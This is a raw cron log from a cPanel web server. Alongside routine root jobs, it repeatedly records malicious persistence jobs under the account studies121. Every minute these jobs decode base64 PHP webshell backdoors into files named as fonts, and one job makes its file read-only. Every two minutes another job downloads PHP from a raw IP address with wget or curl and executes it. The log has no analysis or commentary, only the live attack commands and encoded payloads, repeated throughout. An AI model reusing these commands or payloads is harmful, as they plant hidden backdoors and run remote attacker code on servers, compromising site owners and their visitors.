Aug 31 22:09:01 ip-184-168-122-23 CROND[3380]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 22:09:01 ip-184-168-122-23 CROND[3381]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 22:09:01 ip-184-168-122-23 CROND[3382]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 22:09:01 ip-184-168-122-23 CROND[3384]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 22:09:01 ip-184-168-122-23 CROND[3383]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Aug 31 22:10:01 ip-184-168-122-23 CROND[3489]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 22:10:01 ip-184-168-122-23 CROND[3490]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 31 22:10:01 ip-184-168-122-23 CROND[3499]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 22:10:01 ip-184-168-122-23 CROND[3496]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 22:10:01 ip-184-168-122-23 CROND[3500]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 22:10:01 ip-184-168-122-23 CROND[3497]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 22:10:01 ip-184-168-122-23 CROND[3501]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 22:10:01 ip-184-168-122-23 CROND[3503]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 22:11:01 ip-184-168-122-23 CROND[3587]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 22:11:01 ip-184-168-122-23 CROND[3590]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 22:11:01 ip-184-168-122-23 CROND[3589]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 22:11:01 ip-184-168-122-23 CROND[3591]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 22:12:01 ip-184-168-122-23 CROND[3669]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 22:12:01 ip-184-168-122-23 CROND[3668]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 22:12:01 ip-184-168-122-23 CROND[3671]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 22:12:01 ip-184-168-122-23 CROND[3672]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 22:12:01 ip-184-168-122-23 CROND[3673]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 22:13:01 ip-184-168-122-23 CROND[3755]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 22:13:01 ip-184-168-122-23 CROND[3757]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 22:13:01 ip-184-168-122-23 CROND[3758]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 22:13:01 ip-184-168-122-23 CROND[3761]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 22:14:01 ip-184-168-122-23 CROND[3935]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 22:14:01 ip-184-168-122-23 CROND[3938]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 22:14:01 ip-184-168-122-23 CROND[3937]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 22:14:01 ip-184-168-122-23 CROND[3939]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 22:14:01 ip-184-168-122-23 CROND[3940]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 22:15:01 ip-184-168-122-23 CROND[4024]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 22:15:01 ip-184-168-122-23 CROND[4026]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Aug 31 22:15:01 ip-184-168-122-23 CROND[4028]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 22:15:01 ip-184-168-122-23 CROND[4029]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 22:15:01 ip-184-168-122-23 CROND[4027]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 22:15:01 ip-184-168-122-23 CROND[4030]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 22:15:01 ip-184-168-122-23 CROND[4031]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 22:16:01 ip-184-168-122-23 CROND[4125]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 22:16:01 ip-184-168-122-23 CROND[4127]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 22:16:01 ip-184-168-122-23 CROND[4129]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 22:16:01 ip-184-168-122-23 CROND[4131]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 22:16:01 ip-184-168-122-23 CROND[4130]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Aug 31 22:16:01 ip-184-168-122-23 CROND[4132]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 22:17:01 ip-184-168-122-23 CROND[4258]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 22:17:01 ip-184-168-122-23 CROND[4257]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 22:17:01 ip-184-168-122-23 CROND[4259]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 22:17:01 ip-184-168-122-23 CROND[4260]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 22:18:01 ip-184-168-122-23 CROND[4341]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 22:18:01 ip-184-168-122-23 CROND[4343]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 22:18:01 ip-184-168-122-23 CROND[4345]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 22:18:01 ip-184-168-122-23 CROND[4344]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 22:18:01 ip-184-168-122-23 CROND[4346]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 22:19:01 ip-184-168-122-23 CROND[4507]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 22:19:01 ip-184-168-122-23 CROND[4509]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 22:19:01 ip-184-168-122-23 CROND[4510]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 22:19:01 ip-184-168-122-23 CROND[4511]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 22:20:01 ip-184-168-122-23 CROND[4601]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 22:20:01 ip-184-168-122-23 CROND[4603]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 31 22:20:01 ip-184-168-122-23 CROND[4607]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 22:20:01 ip-184-168-122-23 CROND[4606]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 22:20:01 ip-184-168-122-23 CROND[4605]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Aug 31 22:20:01 ip-184-168-122-23 CROND[4608]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 22:20:01 ip-184-168-122-23 CROND[4609]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 22:20:01 ip-184-168-122-23 CROND[4610]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 22:20:01 ip-184-168-122-23 CROND[4613]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
